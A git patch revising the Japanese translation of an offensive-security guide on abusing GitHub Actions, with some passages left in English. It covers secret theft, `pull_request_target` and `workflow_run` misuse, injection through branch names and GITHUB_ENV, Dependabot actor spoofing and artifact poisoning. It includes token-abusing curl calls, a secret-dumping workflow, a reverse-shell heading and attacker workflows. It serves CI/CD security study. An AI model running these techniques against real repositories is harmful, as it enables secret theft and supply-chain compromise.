From 26fe7a60e54d2d18a8511ca5373b8c3605858554 Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Mon, 29 Sep 2025 21:34:59 +0000
Subject: [PATCH] Translated ['',
 'src/pentesting-ci-cd/github-security/abusing-github-act

---
 .../abusing-github-actions/README.md          | 318 ++++++++++--------
 .../gh-actions-context-script-injections.md   |  93 +++++
 .../basic-github-information.md               | 274 ++++++++-------
 3 files changed, 427 insertions(+), 258 deletions(-)

diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index 9533cdb6f..ac898e5f1 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -4,55 +4,55 @@
 
 ## ツール
 
-以下のツールは、Github Actionのワークフローを見つけたり、脆弱なものを見つけたりするのに役立ちます：
+次のツールは、Github Actionのワークフローを見つけたり、脆弱なものを発見するのに便利です：
 
 - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
 - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
 - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
 - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
-- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - そのチェックリストも[https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)で確認してください
+- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - チェックリストは [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) も参照してください
 
 ## 基本情報
 
-このページでは以下を見つけることができます：
+このページでは以下を扱います：
 
-- 攻撃者がGithub Actionにアクセスできた場合の**影響の概要**
-- **アクションにアクセスするための異なる方法**：
-- アクションを作成するための**権限**
-- **プルリクエスト**関連のトリガーを悪用する
-- **他の外部アクセス**技術を悪用する
-- すでに侵害されたリポジトリからの**ピボット**
-- 最後に、内部からアクションを悪用するための**ポストエクスプロイト技術**に関するセクション（前述の影響を引き起こす）
+- 攻撃者がGithub Actionにアクセスした場合の**すべての影響の要約**
+- アクションに**アクセスするさまざまな方法**:
+- アクションを作成するための**権限**を持つこと
+- **pull request**関連のトリガーを悪用する
+- その他の**外部アクセス**技術を悪用する
+- 既に侵害されたリポジトリからの**Pivoting**
+- 最後に、アクションの内部から悪用するための**post-exploitation techniques**に関するセクション（前述の影響を引き起こす）
 
 ## 影響の概要
 
-[**Github Actionsの基本情報**](../basic-github-information.md#github-actions)についての紹介があります。
+導入としては[**Github Actions の基本情報を確認してください**](../basic-github-information.md#github-actions)。
 
-**リポジトリ内でGitHub Actionsで任意のコードを実行できる**場合、以下のことが可能です：
+もしリポジトリ内で**GitHub Actions上で任意のコードを実行できる**なら、次のことが可能になるかもしれません：
 
-- パイプラインにマウントされた**シークレットを盗む**ことができ、**パイプラインの権限を悪用**して、AWSやGCPなどの外部プラットフォームに不正アクセスすることができます。
-- **デプロイメント**や他の**アーティファクトを侵害**することができます。
-- パイプラインが資産をデプロイまたは保存する場合、最終製品を変更し、サプライチェーン攻撃を可能にすることができます。
-- **カスタムワーカーでコードを実行**して、計算能力を悪用し、他のシステムにピボットすることができます。
-- `GITHUB_TOKEN`に関連付けられた権限に応じて、**リポジトリコードを上書き**することができます。
+- パイプラインにマウントされた**secretsを盗み**、パイプラインの権限を**悪用して**AWSやGCPなどの外部プラットフォームに不正アクセスする。
+- デプロイを**侵害**し、その他の**artifacts**も影響を受ける。
+- パイプラインがアセットをデプロイまたは保存している場合、最終製品を改変でき、サプライチェーン攻撃を可能にする。
+- カスタムワーカーで**コードを実行**し、計算資源を悪用して他のシステムへpivotする。
+- `GITHUB_TOKEN` に関連する権限によっては、リポジトリのコードを**上書き**することができる。
 
 ## GITHUB_TOKEN
 
-この「**シークレット**」（`${{ secrets.GITHUB_TOKEN }}`および`${{ github.token }}`から来る）は、管理者がこのオプションを有効にしたときに与えられます：
+この「**secret**」（`${{ secrets.GITHUB_TOKEN }}` と `${{ github.token }}` から提供される）は、管理者がこのオプションを有効にしたときに付与されます：
 
 <figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
 
-このトークンは**Githubアプリケーションが使用するものと同じ**で、同じエンドポイントにアクセスできます：[https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+このトークンは**Github Applicationが使用するものと同じ**ため、同じエンドポイントにアクセスできます: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
 
 > [!WARNING]
-> Githubは、リポジトリが`GITHUB_TOKEN`を使用して他の内部リポジトリにアクセスできるようにする[**フロー**](https://github.com/github/roadmap/issues/74)をリリースするべきです。
+> Github は [**flow**](https://github.com/github/roadmap/issues/74) をリリースすべきで、GitHub内で**クロスリポジトリ**アクセスを許可し、リポジトリが `GITHUB_TOKEN` を使用して他の内部リポジトリにアクセスできるようにする。
 
-このトークンの可能な**権限**は以下で確認できます：[https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
+このトークンの可能な**権限**は次で確認できます: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
 
-トークンは**ジョブが完了した後に期限切れ**になります。\
-これらのトークンは次のようになります：`ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+このトークンは**ジョブ完了後に有効期限切れになる**点に注意してください。\
+これらのトークンは次のような形式です: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
 
-このトークンでできる興味深いこと：
+このトークンでできる興味深いこと:
 
 {{#tabs }}
 {{#tab name="Merge PR" }}
@@ -66,7 +66,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
 -d "{\"commit_title\":\"commit_title\"}"
 ```
 {{#endtab }}
-{{#tab name="PRを承認する" }}
+{{#tab name="Approve PR" }}
 ```bash
 # Approve a PR
 curl -X POST \
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
 {{#endtabs }}
 
 > [!CAUTION]
-> 注意してください。いくつかの場面で、**Github Actionsのenvやシークレットの中にgithubユーザートークンを見つけることができるでしょう**。これらのトークンは、リポジトリや組織に対してより多くの権限を与える可能性があります。
+> いくつかの場面で、**github user tokens inside Github Actions envs or in the secrets** を見つけられることがあります。これらのトークンはリポジトリや組織に対してより多くの権限を与える可能性があります。
 
 <details>
 
-<summary>Github Action出力のシークレットをリストする</summary>
+<summary>Github Action の出力に含まれる secrets を一覧表示</summary>
 ```yaml
 name: list_env
 on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>シークレットを使ってリバースシェルを取得</summary>
+<summary>secrets を使って reverse shell を取得する</summary>
 ```yaml
 name: revshell
 on:
@@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-他のユーザーのリポジトリに与えられたGithubトークンの権限を**ログを確認することで**チェックすることが可能です：
+別のユーザーのリポジトリに対して与えられている Github Token の権限は、actions のログを確認することでチェックできます **checking the logs**:
 
 <figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
 
-## 許可された実行
+## Allowed Execution
 
 > [!NOTE]
-> これはGithubアクションを危険にさらす最も簡単な方法です。このケースは、**組織内に新しいリポジトリを作成するアクセス権**があるか、**リポジトリに対する書き込み権限**があることを前提としています。
+> これは Github actions を侵害する最も簡単な方法です。というのも、このケースはあなたが **create a new repo in the organization** できるか、または **write privileges over a repository** を持っていることを前提としているからです。
 >
-> このシナリオにいる場合は、[Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action)を確認するだけです。
+> このような状況にある場合、[Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) を確認してください。
 
-### リポジトリ作成からの実行
+### Execution from Repo Creation
 
-組織のメンバーが**新しいリポジトリを作成でき**、あなたがGithubアクションを実行できる場合、**新しいリポジトリを作成し、組織レベルで設定されたシークレットを盗む**ことができます。
+組織のメンバーが **create new repos** でき、かつあなたが github actions を実行できる場合、**create a new repo and steal the secrets set at organization level** ことができます。
 
-### 新しいブランチからの実行
+### Execution from a New Branch
 
-既にGithubアクションが設定されているリポジトリで**新しいブランチを作成できる**場合、**それを修正し、**コンテンツを**アップロード**し、その後**新しいブランチからそのアクションを実行**することができます。この方法で、**リポジトリおよび組織レベルのシークレットを外部に持ち出す**ことができます（ただし、どのように呼ばれているかを知っている必要があります）。
+既に Github Action が設定されているリポジトリに **create a new branch** できる場合、それを **modify** し、コンテンツを **upload** して、その新しいブランチからそのアクションを **execute** できます。こうしてリポジトリおよび組織レベルのsecretsを **exfiltrate** できます（ただし、secrets がどのように呼ばれているかを知っている必要があります）。
 
-修正されたアクションを**手動で**実行可能にすることができます。**PRが作成されたとき**や**コードがプッシュされたとき**（どれだけ目立ちたいかによります）：
+> [!WARNING]
+> ワークフロー YAML の内部だけで実装された制限（例えば、`on: push: branches: [main]`、job の条件式、または手動ゲート）はコラボレーターによって編集可能です。外部による強制（branch protections、protected environments、protected tags）がなければ、寄稿者はワークフローを自分のブランチで動作するようにリターゲットし、マウントされた secrets/permissions を悪用できます。
+
+改変したアクションは、手動で、**PR が作成されたとき**や**コードがプッシュされたとき**に実行可能にできます（どれだけ目立ちたいかによります）：
 ```yaml
 on:
 workflow_dispatch: # Launch manually
@@ -180,46 +183,46 @@ branches:
 ## フォークされた実行
 
 > [!NOTE]
-> 攻撃者が**他のリポジトリのGithub Actionを実行する**ことを可能にする異なるトリガーがあります。これらのトリガー可能なアクションが不適切に構成されている場合、攻撃者はそれらを妥協させることができるかもしれません。
+> 攻撃者が**別のリポジトリの Github Action を実行する**ことを可能にするさまざまなトリガーがあります。これらのトリガー可能なアクションが不適切に構成されていると、攻撃者はそれらを悪用できる可能性があります。
 
 ### `pull_request`
 
-ワークフロートリガー**`pull_request`**は、プルリクエストが受信されるたびにワークフローを実行しますが、いくつかの例外があります：デフォルトでは、**初めて**コラボレーションする場合、いくつかの**メンテイナー**がワークフローの**実行**を**承認**する必要があります。
+ワークフロートリガー **`pull_request`** は、いくつかの例外を除き、プルリクエストを受け取るたびにワークフローを実行します。デフォルトでは**初回**のコラボレーションの場合、いくつかの**メンテイナー**がワークフローの**実行**を**承認**する必要があります:
 
 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> **デフォルトの制限**は**初めての**貢献者に対して適用されるため、**有効なバグ/タイプミスを修正する**ことで貢献し、その後**新しい`pull_request`権限を悪用するために他のPRを送信する**ことができます。
+> デフォルトの制限は**初回の貢献者**に対するものなので、正当なバグ修正やタイポ修正で貢献した後に、**新たに得た `pull_request` 権限を悪用するための別の PR を送る**ことが可能になります。
 >
-> **これをテストしましたが、機能しませんでした**：~~別のオプションは、プロジェクトに貢献した誰かの名前でアカウントを作成し、そのアカウントを削除することです。~~
+> **私はこれを試しましたがうまくいきませんでした**: ~~別の選択肢としては、プロジェクトに貢献した誰かの名前でアカウントを作成し、そのアカウントを削除する、という方法が考えられます。~~
 
-さらに、デフォルトでは**書き込み権限**と**シークレットアクセス**をターゲットリポジトリに対して防ぎます。これは[**ドキュメント**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)に記載されています：
+さらに、デフォルトでは対象リポジトリへの**書き込み権限の付与**と**シークレットへのアクセス**を防ぎます。詳細は[**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)を参照してください:
 
-> `GITHUB_TOKEN`を除いて、**シークレットはランナーに渡されません**。ワークフローが**フォークされた**リポジトリからトリガーされるとき、**`GITHUB_TOKEN`はプルリクエストから**フォークされたリポジトリに対して**読み取り専用権限**を持っています。
+> `GITHUB_TOKEN` を除き、ワークフローが**フォークされたリポジトリ**からトリガーされた場合、**シークレットはランナーに渡されません**。**`GITHUB_TOKEN` はフォークされたリポジトリからの pull request では読み取り専用の権限を持ちます。**
 
-攻撃者はGithub Actionの定義を変更して任意のことを実行し、任意のアクションを追加することができます。しかし、前述の制限のためにシークレットを盗んだり、リポジトリを上書きしたりすることはできません。
+攻撃者は Github Action の定義を変更して任意の処理を実行したり任意のアクションを追加したりすることができます。しかし、前述の制限によりシークレットを盗んだりリポジトリを書き換えたりすることはできません。
 
 > [!CAUTION]
-> **はい、攻撃者がPRでトリガーされるgithub actionを変更した場合、彼のGithub Actionが使用され、元のリポジトリのものは使用されません！**
+> **はい、もし攻撃者が PR でトリガーされる Github Action を変更した場合、使用されるのは元リポジトリのものではなく攻撃者の Github Action になります！**
 
-攻撃者は実行されるコードも制御しているため、`GITHUB_TOKEN`にシークレットや書き込み権限がなくても、例えば**悪意のあるアーティファクトをアップロードする**ことができます。
+攻撃者は実行されるコードも制御しているため、`GITHUB_TOKEN` にシークレットや書き込み権限がなくても、例えば**悪意あるアーティファクトをアップロードする**ことが可能です。
 
 ### **`pull_request_target`**
 
-ワークフロートリガー**`pull_request_target`**は、ターゲットリポジトリに対して**書き込み権限**と**シークレットへのアクセス**を持っています（許可を求めません）。
+ワークフロートリガー **`pull_request_target`** は対象リポジトリへの**書き込み権限**と**シークレットへのアクセス**を持ちます（権限承認を求められません）。
 
-ワークフロートリガー**`pull_request_target`**は**ベースコンテキスト**で実行され、PRによって与えられたものではありません（**信頼できないコードを実行しないため**）。`pull_request_target`についての詳細は[**ドキュメントを確認してください**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)。\
-さらに、この特定の危険な使用についての詳細は、[**githubのブログ投稿を確認してください**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)。
+ワークフロートリガー **`pull_request_target`** は **ベースのコンテキストで実行され**、PR 側のコンテキストでは実行されないことに注意してください（**信頼できないコードを実行しないため**）。`pull_request_target` の詳細は[**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)を参照してください。\
+さらに、この特定の危険な使用法については[**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)を参照してください。
 
-**実行されるワークフロー**が**ベース**で定義されたものであり、**PR**ではないため、**`pull_request_target`**を使用することは**安全**に見えるかもしれませんが、**安全でない場合がいくつかあります**。
+ベースで定義されたワークフローが実行され**PR 内のものではない**ため、**`pull_request_target` の使用は安全**に見えるかもしれませんが、**安全でない場合がいくつかあります**。
 
-このトリガーは**シークレットへのアクセス**を持ちます。
+そしてこちらは**シークレットへのアクセス**を持ちます。
 
 ### `workflow_run`
 
-[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run)トリガーは、別のワークフローが`completed`、`requested`、または`in_progress`のときにワークフローを実行することを許可します。
+The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
 
-この例では、ワークフローは、別の「テストを実行」ワークフローが完了した後に実行されるように構成されています：
+In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
 ```yaml
 on:
 workflow_run:
@@ -227,29 +230,29 @@ workflows: [Run Tests]
 types:
 - completed
 ```
-さらに、ドキュメントによると：`workflow_run`イベントによって開始されたワークフローは、**前のワークフローがない場合でも、シークレットにアクセスし、トークンを書き込むことができます**。
+Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
 
-この種のワークフローは、**外部ユーザーによって** **`pull_request`**または**`pull_request_target`**を介して**トリガーされる**ワークフローに**依存している**場合、攻撃される可能性があります。脆弱な例はいくつか[**このブログで見つけることができます**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**。** 最初の例は、**`workflow_run`**トリガーされたワークフローが攻撃者のコードをダウンロードすることです：`${{ github.event.pull_request.head.sha }}`\
-2つ目の例は、**信頼できない**コードから**`workflow_run`**ワークフローに**アーティファクト**を**渡し**、このアーティファクトの内容を**RCEに対して脆弱にする**方法で使用することです。
+この種類の workflow は、外部ユーザーが **`pull_request`** または **`pull_request_target`** 経由でトリガーできる **workflow** に依存している場合、攻撃される可能性があります。いくつかの脆弱な例は [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** 最初の例は **`workflow_run`** によってトリガーされた workflow が攻撃者のコードをダウンロードすることです: `${{ github.event.pull_request.head.sha }}`\
+2つ目の例は、**untrusted** コードから **artifact** を **`workflow_run`** ワークフローに渡し、そのアーティファクトの内容を RCE に対して **vulnerable** になるように使用するものです。
 
 ### `workflow_call`
 
 TODO
 
-TODO：`pull_request`から実行されたときに使用/ダウンロードされたコードが元のものであるか、フォークされたPRのものであるかを確認します。
+TODO: pull_request から実行されたとき、使用/ダウンロードされるコードがオリジナルのリポジトリのものか、フォークされた PR のものかを確認する
 
-## フォークされた実行の悪用
+## Abusing Forked Execution
 
-外部の攻撃者がGitHubワークフローを実行させる方法についてすべて言及しましたが、次に、これらの実行が不適切に構成されている場合にどのように悪用されるかを見てみましょう：
+外部攻撃者が github workflow を実行させることができる方法については既に述べました。次に、これらの実行が不適切に設定されている場合にどのように悪用され得るかを見てみましょう:
 
-### 信頼できないチェックアウト実行
+### Untrusted checkout execution
 
-**`pull_request`**の場合、ワークフローは**PRのコンテキスト**で実行されるため（**悪意のあるPRのコード**が実行されます）、誰かが**最初に承認する必要があります**。また、いくつかの[制限](#pull_request)があります。
+`pull_request` の場合、workflow は **PR のコンテキスト** で実行されます（つまり **malicious PR のコード** が実行されます）が、誰かが **まずそれを authorize する必要があり**、[limitations](#pull_request) が適用されます。
 
-**`pull_request_target`または`workflow_run`**を使用するワークフローが**`pull_request_target`または`pull_request`**からトリガーされるワークフローに依存している場合、元のリポジトリのコードが実行されるため、**攻撃者は実行されるコードを制御できません**。
+`pull_request_target` または `workflow_run` を使用する workflow で、`pull_request_target` や `pull_request` からトリガー可能な workflow に依存している場合は、オリジナルリポジトリのコードが実行されるため、**攻撃者は実行されるコードを制御できません**。
 
 > [!CAUTION]
-> ただし、**アクション**に**明示的なPRチェックアウト**があり、**PRからコードを取得する**（ベースからではなく）場合、攻撃者が制御するコードが使用されます。例えば（PRコードがダウンロードされる12行目を確認）：
+> ただし、もしその **action** が **明示的な PR checkout** を行い **PR からコードを取得する**（base ではなく）場合、攻撃者が制御するコードが使用されます。例えば（行12で PR のコードがダウンロードされているのを確認してください）:
 
 <pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
 on:
@@ -279,32 +282,32 @@ message: |
 Thank you!
 </code></pre>
 
-潜在的に**信頼できないコードは`npm install`または`npm build`の間に実行されます**。ビルドスクリプトと参照された**パッケージはPRの著者によって制御されています**。
+潜在的に **untrusted なコードが `npm install` や `npm build` の実行中に走る** ことになります。build スクリプトや参照される **packages は PR の作成者によって制御されている**ためです。
 
 > [!WARNING]
-> 脆弱なアクションを検索するためのGitHubドークは：`event.pull_request pull_request_target extension:yml`ですが、アクションが不適切に構成されていても、実行されるジョブを安全に構成する方法はいくつかあります（PRを生成するアクターが誰であるかに関する条件を使用するなど）。
+> 脆弱な actions を検索するための github dork は: `event.pull_request pull_request_target extension:yml` ですが、action が insecure に設定されていても、ジョブを安全に実行するように設定する方法はいくつかあります（例えば PR を作成した actor に関する条件分岐を使うなど）。
 
-### コンテキストスクリプトインジェクション <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
+### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
-特定の[**GitHubコンテキスト**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context)の値は、**PRを作成するユーザーによって制御されている**ことに注意してください。GitHubアクションがその**データを使用して何かを実行する**場合、**任意のコード実行**につながる可能性があります：
+Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
 
 {{#ref}}
 gh-actions-context-script-injections.md
 {{#endref}}
 
-### **GITHUB_ENVスクリプトインジェクション** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
+### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
-ドキュメントによると：環境変数を定義または更新し、これを**`GITHUB_ENV`**環境ファイルに書き込むことで、ワークフロージョブの後続のステップで**環境変数を利用可能にする**ことができます。
+From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
 
-攻撃者がこの**env**変数内に**任意の値を注入**できる場合、**LD_PRELOAD**や**NODE_OPTIONS**などの次のステップでコードを実行する環境変数を注入することができます。
+もし攻撃者がこの **env** 変数に任意の値を **inject** できるなら、後続のステップでコードを実行させ得るような env 変数（例えば **LD_PRELOAD** や **NODE_OPTIONS**）を注入できます。
 
-例えば、（[**これ**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0)と[**これ**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)）、アップロードされたアーティファクトを信頼してその内容を**`GITHUB_ENV`**環境変数に格納するワークフローを想像してください。攻撃者は、これを妥協させるために次のようなものをアップロードできます：
+例えば（[**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) と [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project) を参照）、アップロードされた artifact の内容を **`GITHUB_ENV`** に格納することを信頼している workflow を想像してください。攻撃者はそれを悪用するために次のようなものをアップロードできます:
 
 <figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
-### Dependabotと他の信頼されたボット
+### Dependabot and other trusted bots
 
-[**このブログ投稿**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest)に示されているように、いくつかの組織は、`dependabot[bot]`からのPRRをマージするGitHubアクションを持っています。
+As indicated in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in:
 ```yaml
 on: pull_request_target
 jobs:
@@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: gh pr merge $ -d -m
 ```
-問題なのは、`github.actor`フィールドがワークフローをトリガーした最新のイベントを引き起こしたユーザーを含むことです。そして、`dependabot[bot]`ユーザーにPRを修正させる方法はいくつかあります。例えば：
+Which is a problem because the `github.actor` field contains the user who caused the latest event that triggered the workflow. And There are several ways to make the `dependabot[bot]` user to modify a PR. For example:
 
-- 被害者のリポジトリをフォークする
-- 自分のコピーに悪意のあるペイロードを追加する
-- 古い依存関係を追加してフォークでDependabotを有効にする。Dependabotは悪意のあるコードで依存関係を修正するブランチを作成します。
-- そのブランチから被害者のリポジトリにプルリクエストを開く（PRはユーザーによって作成されるので、まだ何も起こりません）
-- その後、攻撃者は自分のフォークでDependabotが開いた最初のPRに戻り、`@dependabot recreate`を実行します
-- その後、Dependabotはそのブランチでいくつかのアクションを実行し、被害者のリポジトリ上のPRを修正します。これにより、`dependabot[bot]`がワークフローをトリガーした最新のイベントのアクターとなり（したがって、ワークフローが実行されます）。
+- 標的リポジトリをフォークする
+- 自分のコピーに悪意あるペイロードを追加する
+- フォークでDependabotを有効にし、古い依存関係を追加する。Dependabotはその依存関係を修正するブランチを作成し、そこに悪意あるコードが入っている
+- そのブランチから標的リポジトリにPull Requestを作成する（PRはユーザーによって作成されるため、まだ何も起こらない）
+- その後、攻撃者は自分のフォークでDependabotが最初に作成したPRに戻り、`@dependabot recreate` を実行する
+- すると、Dependabotはそのブランチでいくつかの操作を行い、標的リポジトリ上のPRが変更される。その結果、最新のイベントのアクターが `dependabot[bot]` になり（したがってワークフローが実行される）
 
-次に、もしGithub Actionがコマンドインジェクションを持っていた場合はどうなるでしょうか：
+Moving on, what if instead of merging the Github Action would have a command injection like in:
 ```yaml
 on: pull_request_target
 jobs:
@@ -333,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: echo ${ { github.event.pull_request.head.ref }}
 ```
-元のブログ投稿では、この動作を悪用するための2つのオプションが提案されており、2つ目は次のとおりです：
+Well, the original blogpost proposes two options to abuse this behavior being the second one:
 
-- 被害者のリポジトリをフォークし、いくつかの古い依存関係でDependabotを有効にします。
-- 悪意のあるシェルインジェクションコードを含む新しいブランチを作成します。
-- リポジトリのデフォルトブランチをそのブランチに変更します。
-- このブランチから被害者のリポジトリにPRを作成します。
-- フォークしたリポジトリでDependabotが開いたPRで`@dependabot merge`を実行します。
-- Dependabotは、フォークしたリポジトリのデフォルトブランチに変更をマージし、被害者のリポジトリのPRを更新し、`dependabot[bot]`がワークフローをトリガーした最新のイベントのアクターとなり、悪意のあるブランチ名を使用します。
+- 被害者のリポジトリをフォークし、古い依存関係で Dependabot を有効にする。
+- 悪意のある shell injection コードを含む新しいブランチを作成する。
+- リポジトリのデフォルトブランチをそれに変更する。
+- このブランチから被害者のリポジトリへ PR を作成する。
+- 彼のフォークで Dependabot が開いた PR 内で `@dependabot merge` を実行する。
+- Dependabot はフォークしたリポジトリのデフォルトブランチに変更をマージし、被害者リポジトリの PR を更新する。これにより、ワークフローをトリガーした最新イベントのアクターが `dependabot[bot]` になり、悪意のあるブランチ名が使用される。
 
-### 脆弱なサードパーティのGithub Actions
+### 脆弱なサードパーティの Github Actions
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-[**このブログ投稿**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks)で述べられているように、このGithub Actionは異なるワークフローやリポジトリからアーティファクトにアクセスすることを可能にします。
+As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
 
-問題は、**`path`**パラメータが設定されていない場合、アーティファクトが現在のディレクトリに抽出され、後で使用されたり、ワークフロー内で実行されたりする可能性のあるファイルを上書きすることができることです。したがって、アーティファクトが脆弱である場合、攻撃者はこれを悪用してアーティファクトを信頼する他のワークフローを妥協させることができます。
+問題は、**`path`** パラメータが設定されていない場合、artifact がカレントディレクトリに展開され、後でワークフロー内で使用されたり実行されたりする可能性のあるファイルを上書きしてしまう点です。したがって、Artifact が脆弱であれば、攻撃者はこれを悪用して Artifact を信頼する他のワークフローを侵害することができます。
 
-脆弱なワークフローの例：
+Example of vulnerable workflow:
 ```yaml
 on:
 workflow_run:
@@ -373,7 +376,7 @@ with:
 name: artifact
 path: ./script.py
 ```
-このワークフローで攻撃される可能性があります：
+これは次のワークフローで攻撃できます:
 ```yaml
 name: "some workflow"
 on: pull_request
@@ -392,33 +395,33 @@ path: ./script.py
 
 ## その他の外部アクセス
 
-### 削除された名前空間のリポジトリハイジャック
+### Deleted Namespace Repo Hijacking
 
-アカウントが名前を変更すると、他のユーザーがその名前でアカウントを登録できるようになります。リポジトリが名前変更前に**100スター未満**だった場合、Githubは同じ名前の新しい登録ユーザーに**削除されたものと同じ名前のリポジトリ**を作成することを許可します。
+アカウントが名前を変更すると、しばらくして別のユーザがその名前でアカウントを登録できる可能性があります。リポジトリが**less than 100 stars previously to the change of name**だった場合、Github は同じ名前を持つ新しいユーザが削除されたものと同じ**repository with the same name**を作成することを許可します。
 
 > [!CAUTION]
-> したがって、アクションが存在しないアカウントのリポジトリを使用している場合、攻撃者がそのアカウントを作成し、アクションを妥協させる可能性があります。
+> したがって、ある action が存在しないアカウントの repo を参照している場合でも、攻撃者がそのアカウントを作成して action を compromise する可能性があります。
 
-他のリポジトリが**このユーザーのリポジトリからの依存関係**を使用している場合、攻撃者はそれらをハイジャックできるようになります。こちらにより詳細な説明があります: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+もし他のリポジトリがこのユーザの repos からの **dependencies** を利用していた場合、攻撃者はそれらをハイジャックできるようになります。詳しい説明はこちら: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
-## リポジトリピボティング
+## Repo Pivoting
 
 > [!NOTE]
-> このセクションでは、最初のリポジトリに何らかのアクセス権があると仮定して、**1つのリポジトリから別のリポジトリにピボットする**技術について説明します（前のセクションを確認してください）。
+> このセクションでは、最初の repo に何らかのアクセスがあると仮定して、**pivot from one repo to another** を可能にする技術について説明します（前のセクションを参照してください）。
 
-### キャッシュポイズニング
+### Cache Poisoning
 
-キャッシュは**同じブランチ内のワークフロー実行間で維持されます**。つまり、攻撃者が**パッケージを妥協**させ、それがキャッシュに保存され、**より特権のある**ワークフローによって**ダウンロード**および実行されると、そのワークフローも**妥協**される可能性があります。
+A cache is maintained between **wokflow runs in the same branch**。つまり、攻撃者が**compromise**した**package**をキャッシュに保存し、その後より権限の高い workflow によって**downloaded**および実行されると、その workflow も**compromise**される可能性があります。
 
 {{#ref}}
 gh-actions-cache-poisoning.md
 {{#endref}}
 
-### アーティファクトポイズニング
+### Artifact Poisoning
 
